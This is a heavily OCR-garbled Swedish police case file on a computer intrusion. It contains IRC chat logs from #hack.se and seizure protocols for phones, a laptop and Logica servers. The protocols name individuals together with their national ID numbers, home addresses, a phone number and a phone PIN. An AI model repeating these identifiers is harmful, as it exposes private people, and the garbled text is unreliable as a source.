201 2-03-30 0 1  :09 1 8  <snocrash> 
201 2-03-30 01  :09 1 8  ! <scrm> 
201 2-03-30 0 1  :1 o 1 8  <Scrm> 
201 2-03-30 0 1 : 1  o 1 8  <SCrm> 
201 2-03-30 0 1 : 1  o 1 8  !<scrm> 
201 2-03-30 0 1 : 1  o 1 8  <snocrash> 
201 2-03-30 0 1 : 1  o 1 8 [<scrm> l 
201 2-03-30 01 . 1 1 1 8  <snocrash> 
201 2-03-30 0 1  : 1 1 1 8  <triple> 

201 2-03-30 01  : 1 1 1 8  <snocrash> 
201 2-03-30 0 1  : 1 1 
201 2-03-30 01 : 1 1 
201 2-03-30 01 : 1 2  
201 2-03-30 0 1  : 1 2  1 8  <snocrash> 
201 2-03-30 0 1  : 1 2  1 8  <snocrash> 
201 2-03-30 0 1  : 1 2  
201 2-03-30 0 1  : 1 2  
201 2-03-30 0 1  : 1 3  
201 2-03-30 0 1  : 1 3  
201 2-03-30 01  : 1 3  
201 2-03-30 0 1  : 1 3  
201 2-03-30 01  : 1 3  
201 2-03-30 0 1  : 1 3  1 8  <snocrash> 

201 2-03-30 01  : 1 3  1 8  <snocrash> 
201 2-03-30 0 1  : 1 3  1 8  <snocrash> 
201 2-03-30 01  : 1 3  1 8 <snocrash> 
201 2-03-30 0 1  : 1 3 
201 2-03-30 01 : 1 4  
201 2-03-30 0 1  : 1 4  
201 2-03-30 0 1 : 1 4  
201 2-03-30 01  : 1 4  
201 2-03-30 01 : 1 4  1 8  <snocrash> 
201 2-03-30 01  : 1 5  1 8  <snocrash> 
201 2-03-30 01  : 1 6 1 8  <snocrash> 
201 2-03-30 0 1  : 1 6  1 8  <snocrash> 
201 2-03-30 01  : 1 6 1 8 <snocrash> 
201 2-03-30 0 1  : 1 6  1 8  <snocrash> 
201 2-03-30 0 1  : 1 6  1 8  <snocrash> 
201 2-03-30 0 1  : 1 6 1 8  <snocrash> 

Chatmeddelande 

snocrash :  istälelt för att räkna g lobalt och få fram pyttesiffror så borde du räkna 
på t .ex .  enbart gold coast och dessutom bara folk som regelbundet går dit för att 
surfa/wakea/d ka 
kanner mig l ite trott 
stämpla ut 1 7 :01 ! 
scrm : ja, attack per bad-t i l ltal ie elelr nagot vore korrekt 
dom borde inte jamfora det med att bli trallad av bl ixten osv 
eftersom alla ar utsatta 
om hela befolkningne konstant var i vattnet skul le vi nog ha ett par fler attacker 

Nätverk 

EFnet 

EFnet 
EFnet 
EFnet 
EFnet 
EFnet 
EFnet 

EFnet 
EFnet 
EFnet 
EFnet 
EFnet 

så höga odds att det inte ens är relevant att prata om EFnet 
hur fan gar det t i l l  EFnet 
man satterp a varmvattnet i duschen, och lyckas inte stanga av det innan man ar EFnet 
dod ? 
kanske är hett vatten i form av typ . .  e n  trycksatt tank exploderar e n  meter från EFnet 
dom 
så dom får tre mi ljarder psi kokhett vatten över hela siq EFnet 
men jo, inst inktivt tänker jag ju typ .. te-vatten i halsen EFnet 
el ler duschvattnet EFnet 
Death by bo1hng JS a method of execut1on 1n wh1ch a person 1s ki l led by bemg EFnet 
immersed in  a boi l ing l iquid such as water or o i l .  W h i  le not as common as other 
methods of execution ,  boi l ing to death has been used in  many parts of Europe 
and Asia. 

Centact with hot tap-water 
55 
har väldigt svårt att tro att vattnet i din dusch bl i r  1 OOC 
sjukt 
gamla människor? 
el ler typ . . väldigt svaga 
jag tror vissa hus har mycket varmare varmvatten an vi ar vana vid 
jo men 1 OOC? det är extremt 
scrml Jag tror agg kokar under 1 00 grader 
relevant :  http://www. lolwithme.org/wp-
content/uploads/HowDoYouEnterTheShower.png 
kolaguerar 
eller vad det heter a svenska 

re 
men då blir det fan inte vad ·a skulle kal la ett kokat ä "" 

extremt löskokt 
Fol lowing are the general temperatures at which various egg parts and egg 

products will coagulate: egg white 60-65C: egg yolk  65-70C 
nej 
det blir haardkokt 

aggvitan ska vara koagu lerad , gu lan ska vara los = =  gott 
l ite ackl igt nar vitan ar r innande 
Bitten or struck by dog 
26 
Bitten or struck by other mammals 
65 
Hajar have nothing on me ! 
NOTH ING 
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EFnet 
EFnet 
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EFnet 
EFnet 
EFnet 
EFnet 
EFnet 
EFnet 
EFnet 
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EFnet 
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EFnet 
EFnet 
EFnet 
EFnet 
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EFnet 

Bi laga Passagen.2 - Sammanstäl lning av xchat2.xlsx 

020 1 -K81 864- 1 2  474 

Kanal/Person/Fil 

#hack.se.txt ( 1 630) 

#hack.se.txt 1 630 
#hack.se.txt 1 630) 
#hack.se.txt ( 1 630) 
#hack.se.txt ( 1 630) 
#hack.se.txt ( 1 630) 
#hack.se.txt ( 1 630) 

#hack.se.txt 1 630 
#hack.se.txt ( 1 630 
#hack.se.txt ( 1 630) 
#hack.se.txt ( 1 630) 
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#hack.se .txt ( 1 630) 
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#hack.se.txt ( 1 630) 

#hack.se.txt ( 1 630) 
#hack.se.txt ( 1 630) 
#hack.se.txt ( 1 630) 
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#hack.se.txt 

#hack.se.txt ( 1 630) 
#hack.se.txt ( 1 630) 
#hack.se.txt ( 1 630) 
#hack.se.txt ( 1 630) 
#hack.se .txt ( 1 630) 
#hack.se.txt ( 1 630) 
#hack.se.txt ( 1 630) 
#hack.se.txt ( 1 630) 
#hack.se .txt ( 1 630) 

#hack.se.txt ( 1 630) 
#hack.se.txt ( 1 630) 
#hack.se.txt ( 1 630) 
#hack.se.txt ( 1 630) 
#hack.se.txt ( 1 630) 
#hack.se.txt ( 1 630) 
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01 .00 



Sammanstä l ln ing av xchat2 , 20 1 3-03-27 1 5 :39 d iar ienr :  0201 -K8 1 864- 1 2  
Länskri mi nalpo l isavde ln ingen, Il-forensiska sektionen 201 2-05-21 

Datum Användare Chatmeddelande Nätverk 

201 2-03-30 01 : 1 7  1 8  <Snocrash> Drowning and submersion whi le in  or fal l ing into balh-tub EFnet 
201 2-03-30 0 1 : 1 7  1 8  <snocrash> 341 EFnet 
201 2-03-30 01 : 1 8  23 . 23Zeotrope has quit (23Read error: Connection reset by peer23) EFnet 
201 2-03-30 01 : 1 8  1 8  <Snocrash> Other fal l on same level EFnet 
201 2-03-30 01 : 1 8  1 8 <snocrash> 1 ,885 EFnet 
201 2-03-30 01 : 1 8  1 8  <snocrash> snubbla i duschen ar tydl igen ratt javla vanligt EFnet 
201 2-03-30 01 : 1 8  1 8  <snocrash> en snu be vi kande tran karlslad var student i tyskland EFnet 
201 2-03-30 01 : 1 9 1 8 <snocrash> ingen horde av han pa typ 3-4 dagar EFnet 
201 2-03-30 01 : 1 9  1 8  <Snocrash> dom h ittade han i duschen, hade snubblat och kl ippt upp magen pa nagot EFnet 
201 2-03-30 01 : 1 9  1 8  <snocrash> bam ! EFnet 
201 2-03-30 01 :20 1 8  <snocrash> Accidental suffocation and strangulation in  bed EFnet 
201 2-03-30 01 :20 1 8  <snocrash> EFnet 
201 2-03-30 01 :21 EFnet 
201 2-03-30 01 :21 EFnet 
201 2-03-30 01 :21 EFnet 
201 2-03-30 01 :22 1 8  <snocrash> EFnet 
201 2-03-30 01 :22 l ntentional self-harm ar dubbelt ti l l Assault EFnet 
201 2-03-30 0 1  :23 snocrash :  s'alvmord e koncentrerat t i l l  en viss alders ru EFnet 
?"1 2-03-30 01 :23 (valdsbrott oxo EFnet 

-03-30 o 1 :36 1 8  <snocrash> ok EFnet 
"" ' 2-03-30 01 :36 1 8 <Snocrash> annars da EFnet 
201 2-03-30 01 :37 ska n i  id la nu EFnet 
201 2-03-30 01 :38 du skriver ju  i n  et för helvete EFnet 
201 2-03-30 01 :38 1 8  <snocrash> jag forsaker starta en debatt EFnet 
201 2-03-30 01 :39 1 8  <snocrash> h i i ighway to the . . . . . . .  DANGER ZONE ! EFnet 

..,-03-30 02 : 1 6 1 8  <snocrash> h i i i ighway EFnet 
.-03-30 02 : 1 6  1 8  <snocrash> jaha EFnet 

201 2-03-30 02 : 1 6  1 8  <snocrash> vad gor ni EFnet 
201 2 03 30 02'24 1 8  <noah > lyssnar på afasi & t i lthy EFnet 
201 2-03-30 02:24 1 8  <noah > surfar den vi lda väven l ite EFnet 
201 2-03-30 02:38 1 8  <SCnm> snocrash :  fråqan är; vad qör DU? EFnet 
201 2-03-30 02:38 1 8  <scrm> snocrash :  ska i nte du stressa mellan möten och knyta kontakter och sälja saker? EFnet 

201 2-03-30 02:38 1 8  <scrm> 
201 2-03-30 02:43 1 8 <snocrash> 
201 2-03-30 02:43 1 8  <snocrash> 
201 2-03-30 02 :43 1 8  <snocrash> 
201 2-03-30 02:44 1 8  <snocrash> 
201 2-03-30 02:45 1 8  <Snocrash> 
201 2-03-30 02:45 1 8 <snocrash> 
201 2-03-30 02:45 1 8  <snocrash> 
201 2-03-30 02:45 1 8  <Snocrash> 
201 2-03-30 02:58 1 8  <scrm> 
201 2-03-30 02:58 1 8  <scrm> 
201 2-03-30 02:58 1 8  <scrm> 
201 2-03-30 02:59 1 8  <scrm> 
201 2-03-30 03:03 1 8  <llt> 

-
2Ul 2-03-30 03:06 1 8  !<scrm> 
201 2-03-30 03 : 1  O 1 8  <snocrash> 
201 2-03-30 03 : 1  o 1 8  <snocrash> 
201 2-03-30 03 : 1  O 1 8  <snocrash> 
201 2-03-30 03 : 1 1 18 <snocrash> 

03-30 03 : 1 5  1 8  <redlum> 
<. -03-30 03 : 1 5 18 <snocrash> 
201 2-03-30 03 : 1 5  1 8  <snocrash> 
201 2-03-30 03 : 1 6  22 • 

201 2-03-30 03:20 
201 2-03-30 03:21 
201 2-03-30 03:21 

201 2-03-30 03 :24 

201 2-03-30 03:24 1 8  <urandom> 

201 2-03-30 04:05 31 
201 2-03-30 04:23 1 8  <snocrash> 
201 2-03-30 04:23 1 8 1<scrm> 
201 2-03-30 04:37 1 8  <snocrash> 
201 2-03-30 04:53 1 8 !<scrm> 
201 2-03-30 04:56 1 8  <redlum> 
201 2-03-30 04:56 
201 2-03-30 04:57 
201 2-03-30 05: 1 2  
201 2-03-30 05: 1 2  1 8  <redlum> 
201 2-03-30 05: 1 9  3 1  

l 

spend money to make monev, chop chop 
orkar t nte tdag 
chi l iar 
dr icker kaffe 
kande mig l ite rassl ig efter tran ingen igar 
typ tung i l ungorna 
sa ska nog skippa det idag 
bl i r  chips + xbox kvall 
and a big box of tissues 
mmmmm hickory 
mm sunt 
det verkar som om det är mer fördelaktigt för mig att träna typ varannan dag 
istället för att köra fyra dagar trän ing och sen vila l ite 
shit vad sveriges befolkning e trygghetsknarkare alltsa .. l iksom, skv in rattar en 
telefon l inje for folk med skyddad identitet som behover ngn att prata med :PPPP 

.. 
undrar varfor 
var ar nyheten?? 
jaja 
jag surfar vall t i l l  idg 
anakata: ar du inblandad i detta min herre? 
suck 
va suckar du om 
Har nagon testat Office 365 
henrik is now known as Zeromatic 
nån stal min i ad 
snocrash :  INTE ALLS 
tU OSKYLDIG 
tU z/OSKYL. D044 . 1G  :D  
jag hjalper bara de stackars ensamkommande raketforskarbarnen l 
https ://meritwager. wordpress.com/201 2/03/23/skatteverket -har -fatt -order-om-att
frigora-1 0-000-tiotusen-personnummer-for-somaliska-anhoriga/ 
tlt's URL lil le: skatteverket har fått order om att frigöra 1 0 .000 (tiotusen ! )  
personnummer fö r  somaliska anhöri a " 

30 vad sslar folket med då? 
W HAT 
mm 
och hor sen . .  
mm 
deprimerad för att nån stal min ipad 

hur  är det annars då? 
30 den du skul le kö a för 800? 
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Sammanstä l ln ing av xchat2 , 20 1 3-03-27 1 5 :39 d iarienr: 020 1 -K8 1 864-1 2 
Länskri mi nalpo l isavdeln ingen, !T-forensiska sektionen 201 2-05-21 0201 -K81 864- 1 2  

Datum Användare 

201 2-03-30 05:21 
201 2-03-30 05:24 

201 2-03-30 05:30 1 8  <redlum> 
201 2-03-30 05:46 1 8 <snocrash> 
201 2-03-30 05:49 1 8  <neotic> 
201 2-03-30 05:51  31  
201 2-03-30 06 : 1 2  2 3  * 

201 2-03-30 06:26 1 8  <Snocrash> 
201 2-03-30 06:27 19 * 

201 2-03-30 06 :28 1 8  <redlum> 
201 2-03-30 06:28 18 <redlum> 
201 2-03-30 06:38 23 * 

201 2-03-30 06:39 1 9  * 

201 2-03-30 06:54 1 8  <IL!> 
201 2-03-30 06:54 1 8  <IL!> 
201 2-03-30 06:54 1 8  ;<IL!> 

201 2-03-30 06 :54 1 8  <IL!> 

201 2-03-30 06:54 1 8  <tll> 

201 2-03-30 06:54 1 8  <tll> 
201 2-03-30 06:54 1 8  <IL!> 

201 2-03-30 06:59 1 8  <tll> 
201 2-03-30 06:59 1 8  <tll> 

201 2-03-30 06:59 1 8  <tll> 

201 2-03-30 06:59 1 8  <tll> 

201 2-03-30 06:59 1 8  <tll> 
201 2-03-30 06:59 1 8  <tll> 

201 2-03-30 06:59 
201 2-03-30 07:00 

Chatmeddelande Nätverk 

? EFnet 
30 pratade du inte om det idag , att 

som minns helt fel 
en ipad 1 för 800, eller är det jag EFnet 

inte jag 
ph u u 
morrn 

30 morrn 
23iocc has quit (23Read error: Operation t irned out23) 
hem och sova 

1 9  iocc ( iocc@mordor.gov.kp) has joined #hack. se 

Personuppgifter till dolda idenliter har dom kommit över och med hjälp av dom 
kunde dom själva pussla ihop addresserna till dessa personer. Alla drabbade 
kommer få ett brev som bekräftar detta inom kort och det kan handla om att f lera 
hundra med dold iden itet idag kan behöva flytta i sverige och byta namn. 

EFnet 
EFnet 
EFnet 
EFnet 
EFnet 
EFnet 
EFnet 
EFnet 
EFnet 
EFnet 
EFnet 
EFnet 
EFnet 
EFnet 

*Om polisen säger att dom inte har fått tag på någon data så ljuger dom för så är EFnet 
fallet. 
*Logica uppläkte detta 2 1 -23 mars då det var ovanl igt hög aktivitet på EFnet 

EFnet 
EFnet 

Kanal/Person/Fil 

#hack.se.txt 
#hack.se.txt ( 1 630) 

#hack.se.txt ( 1 630) 
#hack.se.txt ( 1 630) 
#hack.se.txt ( 1 630) 
#hack.se.txt 1 630) 
#hack.se.txt ( 1 630 
#hack.se.txt ( 1 630) 
#hack.se.txt ( 1 630) 
#hack.se.txt ( 1 630) 
#hack.se.txt ( 1 630) 
#hack.se.txt ( 1 630) 
#hack.se.txt ( 1 630) 
#hack.se.txt ( 1 630 
#hack.se.txt 1 630 

#hack.se.txt ( 1 630) 

#hack.se.txt ( 1 630) 

#hack.se.txt 1 630 
#hack.se.txt ( 1 630) 

New Network tlt.txt 1 652 
Personuppgifter t i l l  dolda idenliter har dom kommit över och med hjälp av dom 

kunde dom själva pussla ihop addresserna t i l l  dessa personer. Al la drabbade 
kommer få ett brev som bekräftar detta inom kort och det kan handla om att flera 
hundra med dold iden itet idag kan behöva flytta i sverige och byta namn. 

New Network tlt.txt ( 1 652) 

*Om polisen säger att dom inte har fått tag på någon data så ljuger dom för så är New Network tlt .txt ( 1 652) 
fallet. 
*Logica uppläkte detta 2 1 -23 mars då det var ovanl igt hög aktivitet på New Network t lt .txt ( 1 652) 

servrarna. 
*Man misstänker idag inget insiderbrott New Network tlt .txt 1 652 
*Första misstanken var att det skul le vara ett organiserat gäng som genom New Network tlt.txt ( 1 652) 

denna i nfo skulle kunna bedriva e en indrivnin 
FEEETGAAAARV 

Bilaga Passagen.2 - Sammanstäl ln ing av xchat2.xlsx 01 .00 
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Sammanstä l ln ing av xchat2 , 20 1 3-03-27 1 5 :39 d iar ienr: 0201 -K8 1 864-1 2 
Länskrim inalpol isavdeln ingen, Il-forensiska sektionen 201 2-05-21 

Datum 

201 2-03-30 07: 1 3  
201 2-03-30 07: 1 3  

mycket jag busar med dom, 

man kunskaperna i 

aggmacka? 
201 2-03-30 09:01 1 8  <beak> ja 
201 2-03-30 09:04 1 8  <Snocrash> 

201 2-03-30 09:27 
201 2-03-30 09:29 
201 2-03-30 09:33 kan du spela på fi rmafesten?" "eh, ja, visst"" 
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Sammanstä l l n ing  av xchat2 , 201 3-03-27 1 5 :39 d iar ienr :  020 1 -K8 1 864-1 2 
Länskriminalpol isavdeln ingen, !T-forensiska sektionen 201 2-05-21 

Datum Användare 

201 2-03-30 09:33 18 <beak> 

201 2-03-30 09:33 
201 2-03-30 09:33 
201 2-03-30 09:33 
201 2-03-30 09:33 
201 2-03-30 09:34 
201 2-03-30 09 :34 

201 2-03-30 09:34 
201 2-03-30 09:35 
201 2-03-30 09:35 
201 2-03-30 09:35 
201 2-03-30 09:35 
201 2-03-30 09:35 1 8  <beak> 
201 2-03-30 09:35 1 8  <beak> 
201 2-03-30 09:36 1 8  <beak> 
201 2-03-30 09:36 18 <beak> 
201 2-03-30 09:36 1 8  <beak> 
201 2-03-30 09"36 18 <beak> 
201 2-03-30 09:37 18 <beak> 
201 2-03-30 09:37 1 8  <scrm> 
201 2-03-30 09:37 1 8  l<scrm> 
201 2-03-30 09:37 1 8  l <scrm> 

201 2-03-30 09:38 1 8  <beak> 
201 2-03-30 09:38 1 8  <beak> 
201 2-03-30 09:38 18 <beak> 
201 2-03-30 09:48 1 8  <Spockie> 

201 2-03-30 09 :51  1 8  <beak> 
201 2-03-30 1 0 :06 1 8  <redlum> 
201 2-03-30 1 0 :06 18 <redlum> 
201 2-03-30 1 0 :07 
201 2-03-30 1 0 :08 
201 2-03-30 1 0 :08 
201 2-03-30 1 0 :09 
201 2-03-30 1 0 :09 
201 2-03-30 1 0 : 1  o 

201 2-03-30 1 0 : 1  o 
201 2-03-30 1 0 : 1 1 
201 2-03-30 1 0 : 1 1 1 8  <Zadie> 
201 2-03-30 1 0 : 1 1 
201 2-03-30 1 0 : 1 1 
201 2-03-30 1 0 : 1 1 
201 2-03-30 1 0 : 1 2  1 8  <Zadie> 
201 2-03-30 1 0 : 1 2  1 8  <redlum> 
201 2-03-30 1 0 : 1 2 
201 2-03-30 1 0 : 1 2  
201 2-03-30 1 0 : 1 2  
201 2-03-30 1 0 : 1 2  
201 2-03-30 1 0 : 1 2  
201 2-03-30 1 0 : 1 2  1 8  <Zadie> 
201 2-03-30 1 0 : 1 2  1 8  <redlum> 
201 2-03-30 1 0 : 1 3  1 8  <redlum> 
201 2-03-30 1 0 : 1 3  1 8  <Spockie> 
201 2-03-30 1 0 : 1 3  1 8  <Zadie> 
201 2-03-30 1 0 : 1 3  1 8  <Zadie> 
201 2-03-30 1 0 : 1 3  1 8  <redlum> 
201 2-03-30 1 0 : 1 4  1 8  <beak> 
201 2-03-30 1 0 : 1 4  1 8  <beak> 
201 2-03-30 1 0 : 1 4  1 8  <beak> 
201 2-03-30 1 0 : 1 4  1 8  <redlum> 
201 2-03-30 1 0 : 1 4  
201 2-03-30 1 0 : 1 5  
201 2-03-30 1 0 : 1 5  

201 2-03-30 1 0 : 1 5 1 8  <Zadie> 
201 2-03-30 1 0 : 1 5  1 8  <beak> 
201 2-03-30 1 0 : 1 6 1 8  <beak> 
201 2-03-30 1 0 : 1 6 1 8  <beak> 
201 2-03-30 1 0 : 1 6  1 8  <beak> 
201 2-03-30 1 0 : 1 6  1 8  <redlum> 
201 2-03-30 1 0 : 1 6 1 8  <beak> 
201 2-03-30 1 0 : 1 6 1 8  <Zadie> 
201 2-03-30 1 0 : 1 7 1 8  <beak> 

Chatmeddelande 

resultat - dom producerar en poster med mitt namn, bi ld och HOUSE MAFIA 

dangolvet fu l lt -> spela avici i/deadmaus 
dansgolvet tomt -> abba och MJ 
annonssäljare? schlager 
tidigt på kväl len? toots and the maytals 
just det, glöm i nte att lämna din stolthet hemma innan du går 
det där sa du när du precis kommit t i l lbaka också :D 
jag tror jag hade haft svårt att spela musik jag i nte själv g i l lar 

Nätverk 

EFnet 

EFnet 
EFnet 
EFnet 
EFnet 
EFnet 
EFnet 

EFnet 
EFnet 
EFnet 
EFnet 
EFnet 
EFnet 
EFnet 
EFnet 
EFnet 
EFnet 
EFnet 
EFnet 
EFnet 
EFnet 

men det går nog hand i hand med mina i nteraktioner med människor generellt :D EFnet 

.. 
f 1nns granser saklart EFnet 
jag skul le aldrig spela sean banan EFnet 

jag har lyckats undvika att höra denna talang,  tror jag ska vara tacksam för det EFnet 

kunde varit värre 
på tal om musik 
tips på ny bra svensk musik? 
Fina rääääven . 
var det ett musikti s el ler har du en årdsräv? : D  
red lum:  janas Iundqvist, al ice b 
Det sprang förbi en jättef in räv ja, det var inget musiktips. : )  
( representera Götelabor :P )  
Zadie :  n ice . .  men är du i nte rädd att den ska försöka l i rka sig i n  t i l l  hönsen el ler 
nåt? 
dom kanske inte år ute än iofs 
Näe de är i lagårn . :) 
I nte så h imla orol ig för det ändå faktiskt, där de bor på sommaren hel ler .  
red lum:  icona op 
qual ity fencing 
red lum:  dubmood 
scrm : Mhm och så kollar vi staketet ofta samt stänger i n  på natten .  
a h  
icona pop p å  Kilsune Maison 

El ler är i nte det han kiddon som var så jobbig när han var l i ten. 
det är al lt nytt för mi 
mig 
man kan ju lyssna på KENT s nya singel annars och dö lite i nombords 
Det enda svenska jag lyssnar på är typ reggae. 
General Knaaas 
dubmood chiptunes? 
ja 

Min kommentar var typ t i l l  scrm . .  att han förslag kanske går bra fast det inte är 
su ern t .  
När endera artist släppt ny musik har jag ingen aning om.  
m mm 
jag tänkte att dubmood just har släppt en ny skiva 
men det visade sig vara ett helt år sen 
tidsuppfattn ing nol l  
badlands? 
ja 
Tror Lida nyligen försökte få mig att lyssna på den men det blev aldrig av. 
den bästa nya låten om du kan tänka dig att gå hela vägen t i l l  frankrike är 
annars spencer parker - the improvised minotaur (mol ly edil) 
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Länskrim inalpol isavdeln ingen, Il-forensiska sektionen 201 2-05-21 

Datum 

201 2-03-30 1 0 : 1 7 

201 2-03-30 1 O: 1 7  
201 2-03-30 1 0 : 1 7 
201 2-03-30 1 0 : 1 9  

201 2-03-30 1 1  : 1 2  

Chatmeddelande 

psyko-affärs-snubben från langoljärerna gör en AMA: 
http://www.reddit.com/r/IAmA/comments/rk60c/i_am_bronson_pinchot_from_hist 
oric arch itecture/ 
scrm's URL title : l am Bronson Pinchot from Historie Arch itecture -- The Bronson 
Pinchot Project on D lY" -- to the most obscure Balki trivia -- to any1hing else 
from the Langel iers to what have you. Bu! please no questions about Rampart 
That is where l draw the Iine : lAmA" 

<3 

http :/ /www.bbc.eo. uk/news/uk -england-1 7554295 
snugg l's URL title: BBC News - iTunes scam gang netted 'Madonna-leve!' 

I l  
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EFnet #hack.se.txt ( 1 630) 

EFnet #hack.se.txt ( 1 630} 

01 .00 
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Polismyndighet 

Stockholms län 
Enhet 

PM 
Lisas mobi lte lefon , ZTE 

LU/SF "AVSTÄLLD" Förmögenhetsgrupp 
U ppgiftslämnare 

Rehnberg, Bengt 
Beslag verkställt Material för analys 

Nej Nej 

Mottaget 

Sätt på vil ket uppgift lämnats 

Upprättad av 

Bengt Rehnberg 

U ppg iften avser 

Fråga ang. anspråk på beslagtaget gods 
Uppgift 

Datum 

20 1 2-05- 1 0  

Mottaget datum 

48 1 
Signerad av 

Signerad datum 

Diarienr 

020 1 -K8 1 864- 1 2  
Tid 

1 5 : 0 1  

Tid 

Torsdag den 1 0  maj kl. 1 3 :00 tillfrågades Mathias Gustafsson om han gör anspråk på den i 
beslagtagna mobiltelefonen av fabrikat ZTE, beslagsnr: 20 1 2-020 1 -BG 1 022 1 -40. Mathias 
säger att det är Lisas telefon och han gör inga anspråk på att få den. Man medger att den kan 
lämnas till Lisa Bergström. 
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Beslagsprotokol l 
Beslag av mob i ler Signerat av 

Polismyndighet 

Stockholms län 
1/ l l l l l l l l ll ll llll l ll ll llll ll l ll ll l  

Signerat datum 
Verkställande enhet 

20 1 2-020 1 -BG8660 Diarienummer LU/S Specialbrottsektion 
Handläggande enhet 

020 1 -K8 1 864- 1 2  

LU/IT !T-forensisk sektion 

Misstänkt person 

Lagergren, Konrad Lars Ove, 1 9  5 3 1 1 1 2-7 1 3  7 
Plats för verkstälian 

Lindgren, Annacarin 
Datum och klockslag för verkställighet 

20 1 2-03 -30 1 1 :00 
Lgh 1 202 , FORSHAGAGATAN 1 2 , FARSTA 
Beslutat av Verkställt av 

Rasmusson, Henrik, Kammaråklagare Rehnberg, Bengt, Inspektör 

Ändamål med åtgärden Brott 
• Kan antagas ha betydelse för utredningen av 

brott 

04 1 5  - Dataintrång 

Domstol för överklagan 

Södertöms Tingsrätt 

F öremålspunkter 

20 1 2-020 1 -BG8660- l 
Mobiltelefon ( l st) 

Fabrikat : Son y Ericsson 
IMEI-/SERIE-nr : 359026039659240 

Färg : Svart 

Beslag taget från 

Lagergren, Konrad Lars Ove 

Platsbeskrivning Status 

I samband med att Ove Lagergren Utlämnad 
hördes på Forshagagatan 1 2  i Farsta 
beslutades om beslag av mobiltelefonen. 

Anspråkstagare 

l st. 
Modell : W205 

Telefonnummer : 0704067 1 64 

Anteckningar: Anträffad hos Ove Lagergren 

20 1 2-020 1 -BG8660-2 

Mobiltelefon ( l st) 

Fabrikat : HTC 

Färg : Svart 
Anteckningar: Pinkod 4 1 82 

Platsbeskrivning 

I samband med förhör med Ove 

Lagergren beslutades att mobiltelefonen 
skulle tas i beslag 

status 

Utlämnad 

Anspråkstagare 

l st. 
Modell : HTC vith sense 



Polismyndighet 

Stockholms län 
Verkställande enhet 

LU/SF Förmögenhetsgrupp 
Handläggande enhet 

LU/IT !T-forensisk sektion 

Misstänkt person 

Plats för verkstälian 

Beslagsprotoko l l  

201 2-0201 -BG9059 

Datum och klockslag för verkställighet 

RIKSPOLISSTYRELSEN , POLHEMSGATAN 
30 , STOCKHOLM 

20 12-03-25 1 2 :20 

Beslutat av Verkställt av 

Larsson, Morgan, Inspektör Larsson, Morgan, Inspektör 

Ändamål med åtgärden Brott 
• Kan antagas ha betydelse för utredningen av 

brott 
04 1 5  - Dataintrång 

Domstol för överklagan 

Stockholms Tingsrätt 

F öremålspunkter 

20 1 2-020 1 -BG9059- 1 
Bärbar dator ( l st) 

Beslag taget från 

Logi ca 

Platsbeskrivning 
Överlämnad till polisen av 
säkerhetschef Anders Sandeli på 
företaget Logica 

483 

Signerat av 

Signerat datum 

Diarienummer 
020 1 -K8 1 864- 1 2  

status 

Utlämnad 

Anspråkstagare 

l st. 
Fabrikat : Lenovo 

Modell : Thinkpad 
Typ : Bärbar dator 

Märkning : Modelnr:439 1 BB6 

Anteckningar: Logica Dator Id :  WMLio3478 1 
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Beslagsprotoko l l  
Signerat av 

Polismyndighet 

Stockholms län ll l l l l l l l l ll llll l lll l llll ll llll l ll ll llll ll l ll ll l llllllll l llll l l l l ll ll l l l l lll Signerat datum 
Verkställande enhet 20 1 2-020 1 -8891 1 2  
LU/IT !T-forensisk sektion Diarienummer 

Handläggande enhet 
020 1 -K8 1 864- 1 2  

LU/IT !T-forensisk sektion 

Misstänkt person 

Plats för verkstälian 

Logica Sverige Ab 
AUGUSTENDALSVÄGEN 2 1 , NACKA 
STRAND 
Beslutat av 

Rasmusson, Henrik, Kammaråklagare 

Ändamål med åtgärden 

• Kan antagas ha betydelse för utredningen av 
brott 

Domstol för överklagan 

Nacka Tingsrätt 

F öremålspunkter 

Platsbeskrivning 

Datum och klockslag för verkställighet 

20 1 2-04-02 1 7 :25 

Verkställt av 

Wahlström, Olle, Kriminalinspektör 
Persson, Joakim, Assistent 

Brott 

04 1 5  - Dataintrång 

Beslag taget från 

Logica Sverige Ab 

status 
20 12-020 1 -BG9 1 1 2- l  
Server ( l st) 

Framplockad och utlämnad av Logica 
själva. 

Fastställd 

Fabrikat : HP 

Modell : Proliant DL3 80 
Märkning : WWD l 

20 1 2-020 1 -BG9 1 1 2-2 
Server ( l st) 

Fabrikat : HP 

Modell : Proliant DL3 80 
Märkning : WWD2 

Platsbeskrivning 

Anspråkstagare 

O st. 
Typ : Server 

Tillverkningsur : 0330LDG2 1 1 7 1  

Status 

Framplockad och utlämnad av Logica 
själva. 

Fastställd 

Anspråkstagare 

O st. 
Typ : Server 

Tillverkningsur : 8330LDG2 1 1 94 



Polismyndighet 

Stockholms län 
Verkställande enhet 

LU/IT II-forensisk sektion 

Beslagsprotoko l l  

11 1 11 11 1 11111111 1 1111 1 1 1 1 11 11 1 1 1 1 111 
201 2-020 1 -889 1 1 2  

485 

Signerat av 

Signerat datum 

Diarienummer 

Handläggande enhet 
020 1 -K8 1 864- 1 2  

LU/IT II-forensisk sektion 

F öremålspunkter 

20 12-020 1 -BG9 1 1 2-3 
Server ( l st) 

Fabrikat : HP 

Platsbeskrivning Status 

Framplockad och utlämnad av Logica Fastställd 

själva. 
Anspråkstagare 

O st. 

Modell : Smart Array Cluster Storage 
Märkning : WWD-Diskrack 

Typ :  Server 
Tillverkningsm : 20D6KF3 1 1 3 
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Beslagsprotoko l l  
Signerat av 

Polismyndighet 

Stockholms län II I I I I I I / I llll l llll lll l ll l ll ll l l l llllll lll l llll ll l l ll ll l l ll lll Signerat datum 
Verkställande enhet 201 2-020 1 -BG 1 4336 
LU/IT !T-forensisk sektion Diarienummer 

Handläggande enhet 
020 1 -K8 1 864- 1 2  

LU/IT !T-forensisk sektion 

Misstänkt person 

Smedlund, Johan Kristoffer Robin, 1 9800323-4674 
Plats för verkstälian 

VALLA TORG 5 1 , ÅRSTA 
Beslutat av 

Starck, Krister, Polisinspektör 

Ändamål med åtgärden 

Datum och klockslag för verkställighet 

20 12-05-3 1 08 :00 

Verkställt av 

Wahlström, Olle, Kriminalinspektör 
Persson, Joakim, Assistent 
Steenmark, John G, Kriminalinspektör 
Starck, Krister, Polisinspektör 
Nordström, Tommy, Assistent 

Brott 
• Kan antagas ha betydelse för utredningen av 

brott 

04 1 5  - Dataintrång 

Domstol för överklagan 

Nacka Tingsrätt 

F öremålspunkter 

20 1 2-020 1 -BG 14336- 1 
Mobiltelefon ( l st) 

Fabrikat : HTC 

20 1 2-020 1 -BG 14336-2 
Hårddisk ( l st) 

Fabrikat : IBM 

Serienummer : A3C6DS4A 
Anteckningar: 6 1  GB 

